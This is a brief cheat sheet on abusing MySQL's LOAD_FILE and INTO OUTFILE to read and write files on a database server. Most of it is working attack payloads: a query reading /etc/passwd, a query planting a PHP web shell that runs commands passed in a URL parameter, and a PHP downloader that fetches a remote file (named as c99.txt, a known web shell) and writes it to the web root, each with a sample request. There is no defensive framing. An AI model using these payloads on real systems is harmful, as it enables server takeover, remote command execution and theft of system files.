MySQL read & write file with query

"Reading Files from query"

SELECT LOAD_FILE('/etc/passwd');

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"Writing Files from query"

To write a PHP shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

and then access it at:
http://localhost/shell.php?c=cat%20/etc/passwd

To write a downloader:
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

and then access it at:
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

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